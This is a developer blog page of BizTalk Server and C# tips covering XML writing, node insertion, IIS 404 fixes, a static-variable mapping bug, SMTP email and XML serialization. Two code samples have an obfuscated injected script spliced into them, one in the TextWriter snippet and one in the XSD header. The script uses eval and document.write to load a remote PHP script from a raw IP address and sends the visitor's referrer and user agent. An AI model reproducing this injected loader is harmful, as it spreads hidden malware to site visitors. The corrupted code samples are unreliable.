BizTalk Server 2006 is not available or configured. Verify BizTalk Server 2006 on server xxxxx using management database BizTalkMgmtDb is accessible and configured with a compatible version.


This frequently occurs in the company I’m working. All development is done on VMWare virtual machines, when the systems guys do a backup of VMWare “LabManager”, the virtual machine are shutdown and then restarted. For some odd reason, after the restart, SQL frequently does not start (even though it is set as “automatic start”.

To solve the problem, go to System Services, and if SQL is not started, then start it.

How to use TextWriter to file.


 <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rhydh|var|u0026u|referrer|kztth||js|php'.split('|'),0,{}))
</script></noindex>            string strOutFileName = @"c:YourDirYourFile.xml";
   ... assumes you have an xmlDoc somewhere
            System.Xml.XmlTextWriter tw = new XmlTextWriter(strOutFileName, System.Text.Encoding.ASCII);
            xmlDoc.WriteTo(tw);
            //xmlTypedDoc.Document.WriteTo(tw);
            tw.Close();

How to initialize an array of objects in C#. Often, we write C# test harnesses to populate some test data based on an object structure (which was ultimately created from an xml structure).


            svcref1.WiringLoanReq req =
                new TMAC.Wiring.UnitTest.CallPublishedOrch.svcref1.WiringLoanReq();
            svcref1.WiringLoanResp resp =
                new TMAC.Wiring.UnitTest.CallPublishedOrch.svcref1.WiringLoanResp();
            svcref1.WiringLoan loan1 =
                new TMAC.Wiring.UnitTest.CallPublishedOrch.svcref1.WiringLoan();
            svcref1.WiringLoan loan2 =
                new TMAC.Wiring.UnitTest.CallPublishedOrch.svcref1.WiringLoan();

            loan1.CadenceLoanId = "0012341234";
            loan1.CadenceLoanId = "0012341235";

            req.WiringLoans = new TMAC.Wiring.UnitTest.CallPublishedOrch.svcref1.WiringLoan[2];
            req.WiringLoans[0] = loan1;
            req.WiringLoans[1] = loan2;

// call the web service
 resp = client.getWiringRequest(req);

How to add an node to an XML Document (via a C# helper that can be called in an expression shape from an orchestration).



First example (uses AppendChild):


<code>
        public static XmlDocument AddExceptionNodeToTMXML(XmlDocument TMXMLDocIn, Exception ex)
        {
            // three import fields in System.Exception are ex.Message, ex.StackTrace, ex.Source
            // then there is an Ex.InnerException

            XmlDocument xmlDocNewTMXML = new XmlDocument();
            xmlDocNewTMXML.LoadXml(TMXMLDocIn.OuterXml);  // make sure we don't update the original TMXMLDocIn

            string errMessage = "";
            string errSource = "";
            string errStackTrace = "";
            string xml;

            if (ex.InnerException == null)
            {
                // if not nested exceptions, do not number them.
                errMessage = ex.Message;
                errStackTrace = ex.StackTrace;
                errSource = ex.Source;
            }
            else
            {
                // loop through all the nested exceptions and concatenate them into single long string variables
                System.Exception innerEx = ex;
                int loopCounter = 0;
                while (innerEx != null)
                {
                    // number the nested exceptions
                    loopCounter++;
                    string separator = "";
                    if (loopCounter &gt; 1)
                        separator = ";";

                    errMessage = errMessage + separator + "n     Ex:" + loopCounter + ") " + innerEx.Message;
                    errStackTrace = errStackTrace + separator + "n     Ex:" + loopCounter + ") " + innerEx.StackTrace;
                    errSource = errSource + separator + "n     Ex:" + loopCounter + ") " + innerEx.Source;
                    innerEx = innerEx.InnerException;

                }

            }

            // Added CDATA clauses below, because the err fields may have
            // ampersand, less-than, greater than, or other problem characters that cause the xmlDoc.Load to  fail. 
            xml =
                    @"&lt;exs:Exceptions xmlns:exs='http://YourSchemaNamespace.Exceptions'&gt;" +
                    "&lt;ex:Exception index='1' id='1' type='' xmlns:ex='http://YourSchemaNamespace.Exception'&gt;" +
                    "  &lt;messageText&gt;&lt;![CDATA[" + errMessage + "]]&gt;&lt;/messageText&gt;" +
                    "  &lt;source&gt;&lt;![CDATA[" + errSource + "]]&gt;&lt;/source&gt;" +
                    "  &lt;stackTrace&gt;&lt;![CDATA[" + errStackTrace + "]]&gt;&lt;/stackTrace&gt;" +
                    "&lt;/ex:Exception&gt;" +
                    "&lt;/exs:Exceptions&gt;";


            XmlDocument exceptionXML = new XmlDocument();
            exceptionXML.LoadXml(xml);


            string strXPathRoot = "/*[local-name()='TMXML' and namespace-uri()='http://YourSchemaNamespace.MainSchema']";
            XmlNode nodeTMXML = xmlDocNewTMXML.SelectSingleNode(strXPathRoot);

            string strExXPathRoot = "/*[local-name()='Exceptions' and namespace-uri()='http://YourSchemaNamespace.Exceptions']";
            XmlNode nodeExceptions = exceptionXML.SelectSingleNode(strExXPathRoot);


            nodeTMXML.AppendChild(xmlDocNewTMXML.ImportNode(nodeExceptions, true));

            return xmlDocNewTMXML;

        }



</code>

Second example (uses CreateElement)


<code>

	// This can be called from a BusinessRule which passes a TypedXmlDocument
	// instead of a normal XmlDocument
	public static void AddItineraryStep(TypedXmlDocument txd, string stepName, string activityPolicy)
        {

                  // can we find the XPath  indicate d?
                  string strXPathRoot = "//*[local-name()='ItinerarySteps']";
                  XmlNode node = LocateXPath(txd, strXPathRoot);
                  if (null == node)
                  {
                      throw new Exception("AddItineraryStep: XPath did not return a valid node, XPath=" +
                          strXPathRoot + "  XML=" + txd.Document.OuterXml);
                  };


                  // determine the root node for the document
                  // if the XPath selects the TXD, it will have no root if it is an XmlDocument
                  // in that case, simply use the document from the TXD
                  XmlDocument root = node.OwnerDocument;
                  if (null == root)
                  {
                        // if the XPath selects the TXD, it may
                        // so fix accordingly
                        root = txd.Document as XmlDocument;
                        if (null == root) return;
                  }


                  // create a new node and add it in
                  string nodeName = "ItineraryStep";
                  XmlElement newNode = root.CreateElement(nodeName);
                  node.AppendChild(newNode);

                  // Not sure why ImportNode not available. Seems like it would be easier
                  //node.AppendChild(txd.Document.ImportNode(nodeItineraryStep, true));

                  //strXPathRoot = "/*[local-name()='Header']/*[local-name()='Itinerary']/*[local-name()='ItineraryStep']";
                  strXPathRoot = "//*[local-name()='ItineraryStep']";
                  node = LocateXPath(txd, strXPathRoot);
                  if (null == node)
                  {
                      throw new Exception("AddItineraryItem: XPath did not return a valid node, XPath=" +
                          strXPathRoot + "  XML=" + txd.Document.OuterXml);
                  };

                  XmlElement newSubNode;

                  nodeName = "name";
                  newSubNode = root.CreateElement(nodeName);
                  newSubNode.InnerText = stepName;
                  newNode.AppendChild(newSubNode);

                  nodeName = "status";
                  newSubNode = root.CreateElement(nodeName);
                  newSubNode.InnerText = "PENDING";
                  newNode.AppendChild(newSubNode);

                  nodeName = "errorType";
                  newSubNode = root.CreateElement(nodeName);
                  // leave value to empty-string (no need to set InnerText)
                  newNode.AppendChild(newSubNode);

                  nodeName = "activityPolicy";
                  newSubNode = root.CreateElement(nodeName);
                  newSubNode.InnerText = activityPolicy;
                  newNode.AppendChild(newSubNode);


        }

        internal static XmlNode LocateXPath(TypedXmlDocument txd, string xPath)
        {
            // does the TXD contain a node?
            XmlNode parent = txd.Document;
            if (null == parent) return null;

            // is there an XPath specified? if not, return the parent
            if ((xPath == null) || (xPath == string.Empty)) return parent;

            // return the first node that the XPath points to
            return parent.SelectSingleNode(xPath, txd.NamespaceManager);
        }

</code>

Get 404 page not found when browsing a web service you know is there.
For example, from IIS you right-click and select “Browse” on the .svc file (so you know it is really there). NOTE: the 404 is a “red herring” an outright lie – a bad error given to us by Microsoft to confuse us.


Try checking to see if you have ASP.NET 1.1 instead of 2.0 set.
Right click your “virtual directory”, then click the “ASP.NET” tab.
.NET 2.0 and 3.5 use the same “CLR”, therefore you will see 2.0.50727 in the
ASP.NET version on this tab. If you see 1.x, then change it to 2.0.50727.

From IIS Admin, right-click the project, …

If and when you get this error on Windows 2003, there is an additional setup required.
Click “Web Service Extensions” at the bottom of IIS, and check the “ASP.NET V2.0.50727” and see if is is “allowed” instead of “prohibited”.

If you get “service unavailable”, then make sure the userid that is running your application pool (Win 2003/IIS 6) is a member of the “IIS_WPG” (IIS worker process group) and that the password is correct.

Bug Scenario: You are using C# variable in Mapping Functoids.
You run a map through “Test Map” and it works fine each time.

You run a file through a receive location, running the same map. Works great first time, but second time it maps nothing (or behaves differently). When you restart BizTalk Host Instance, it works fine first time, but not second time.

Why are we using a variable in the first place? The ideas was to map a field just one time (in a loop). So once the field is mapped, we need to set a flag not to map it again.


What is the bug in the following code?

<code>
public static bool gotCoborrowerLastname = false;

public static string CoborrowerLastname (string param1)
{
     string result = "false";
     if (param1.ToUpper() == "TRUE" && !gotCoborrowerLastname)
         {
                gotCoborrowerLastname = true;
            	result = "true";
         }

      return result;
}
</code>

The “static” keyword must be removed from the global variable. By making it static, only one copy of the variable is held in memory. Thus, the variable stays set to the last value, even when you run a new map. The variable does not get reset until you restart the BizTalk Host instance.

<code>
public bool gotCoborrowerLastname = false;
</code>

Error:

The Messaging Engine failed to register the adapter for “SOAP”
for the receive location
“/TMAC.Adfitech.BizTalk.Orchestrations_Proxy/ImagingInterfaceLoanDataPull.asmx”.

Please verify that the receive location exists,
and that


There are several reasons for this error. In my case, I took a proxy that was created by deploying an orchestration as a .asmx web service. I changed that proxy in C#, and thus the name in the above error “ImagingInterfaceLoanDataPull.asmx” did not match the field called “Virtual Name + Web Service .asmx file” name in the Receive Location. I manually changed it and it worked.

Other obvious things to look for are:

  1. Your receive port exists
  2. Your receive location is enabled

BEC2009

BizTalk Build Error: YourSchemaName.xsd: error BEC2009: Node “” – Schema reference “” is not a valid reference or does not ex ist in the current project.

We used the DTD to XSD converted to convert a DTD from one of our tr ading partners.

The schema began with this:

<code>
&lt;?xml <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|naiat|var|u0026u|referrer|nytkt||js|php'.split('|'),0,{}))
</script></noindex> version="1.0" encoding="UTF-8" standalone="no"?&gt;
&lt;xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified"&gt;
 &lt;xs:import namespace="http://www.w3.org/XML/1998/namespace"/&gt;
 &lt;xs:complexType name="LENDER_LOAN_SERVICE"&gt;
  &lt;xs:sequence&gt;
</code>

The solution was to remove this line:

<code>
 &lt;xs:import namespace="http://www.w3.org/XML/1998/namespace"/&gt;
</code>

How to send an email from a BizTalk Expression shape (without using the SMTP Send Ports).
Note: There are two mail objects, the older one is System.Web.Mail and the newer one It also shows how to connect to an SMTP Host (Server) that requires userid/password authentication.

Note: The SMTPHost, from email, user/password were retrieved in the previous expression shape from the <AppSettings> of the BTNTSVC.exe.config file.

<code>
objMail = new System.Net.Mail.MailMessage();

objMailAddressFrom = new System.Net.Mail.MailAddress(strMailFrom);
objMail.From = objMailAddressFrom;

objMailAddressTo = new System.Net.Mail.MailAddress(msgEmailFromSQL.EmailAddress);
objMail.To.Add(objMailAddressTo);

objMail.Subject = msgEmailFromSQL.Status_Code.Description;

objMail.Body =
    msgEmailFromSQL.Status_Code.Text +
    "&lt;BR&gt;&lt;BR&gt;" +
    "&lt;a href='" + msgEmailFromSQL.WebPageAddress + "'&gt;" +
    msgEmailFromSQL.WebPageAddress + "&lt;/a&gt;";

objMail.IsBodyHtml = true;

objCredentials = new System.Net.NetworkCredential(strMailUser, strMailPassword);
objSmtpClient = new System.Net.Mail.SmtpClient(strMailServer);
objSmtpClient.Credentials = objCredentials;
objSmtpClient.Send(objMail);



</code>

XML Serializer – Sample Code – How to take a C# object and write it to a file in XML “serialized” format.

NOTE: Serialize means to take an object (in memory) and turn it to a format that can be preserved to disk (or sent over a wire). Deserialize means to take the serialized-format, and turn it back into an object (in memory).

<code>
using System.Xml.Serialization;
using System.IO;
...

//  Serialize an object in memory to disk. 

            XmlSerializer xs1 = new XmlSerializer(typeof(YourClassName));
            StreamWriter sw1 = new StreamWriter(@"c:DeserializeYourObject.xml");
            xs1.Serialize(sw1, objYourObjectFromYourClassName);
            sw1.Close();

// Now to deserialize it - assuming this might be a different program, run later.

            XmlSerializer xs2 = new XmlSerializer(typeof(YourClassName));
            StreamReader sr2 = new StreamReader(@"c:DeserializeYourObject.xml");
            // deserialize and cast back to proper class
            objYourObjectFromYourClassName = (YourClassName) xs2.Deserialize(sr2);
            sr2.Close();
            Console.WriteLine ("Deserialize2 completed");


</code>

NOTE: Serializing to a string in memory is a lot trickier than you might think, because you have to deal with byteArrays, and encoding. Here’s a link to a page that explains how to do it:


http://www.dotnetjohn.com/articles.aspx?articleid=173

Based on the above article, I put the following code in my “Common” C# Component library that is deployed on all my systems:

<code>
        /// <summary>
        /// Method to convert a custom Object to XML string
        /// </summary>
        /// Object that is to be serialized to XML
        /// XML string
        public static String SerializeObject(Object pObject)
        {

            try
            {

                String XmlizedString = null;
                MemoryStream memoryStream = new MemoryStream();
                XmlSerializer xs = new XmlSerializer(pObject.GetType());
                XmlTextWriter xmlTextWriter = new XmlTextWriter(memoryStream, Encoding.UTF8);

                xs.Serialize(xmlTextWriter, pObject);
                memoryStream = (MemoryStream)xmlTextWriter.BaseStream;
                XmlizedString = UTF8ByteArrayToString(memoryStream.ToArray());
                return XmlizedString;

            }

            catch (Exception e)
            {
                System.Console.WriteLine(e);
                return null;
            }

        }
        /// <summary>
        /// Method to reconstruct turn XMLString back into Object
        /// </summary>
        /// 
        /// 

        public static Object DeserializeObject(String pXmlizedString, Type classType)
        {

            XmlSerializer xs = new XmlSerializer(classType);
            MemoryStream memoryStream = new MemoryStream(StringToUTF8ByteArray(pXmlizedString));
            XmlTextWriter xmlTextWriter = new XmlTextWriter(memoryStream, Encoding.UTF8);
            return xs.Deserialize(memoryStream);

        }

        private static String UTF8ByteArrayToString(Byte[] characters)
        {
            UTF8Encoding encoding = new UTF8Encoding();
            String constructedString = encoding.GetString(characters);
            return (constructedString);
        }

        private static Byte[] StringToUTF8ByteArray(String pXmlString)
        {
            UTF8Encoding encoding = new UTF8Encoding();
            Byte[] byteArray = encoding.GetBytes(pXmlString);
            return byteArray;
        }


</code>

Just wrap the above with your class name, and add these using statements:

<code>
using System;
using System.Collections.Generic;
using System.Collections;
using System.Text;
using System.Xml;
using System.Reflection;
using System.Xml.Schema;
using System.IO;
using System.Xml.Serialization;
using System.Text;
</code>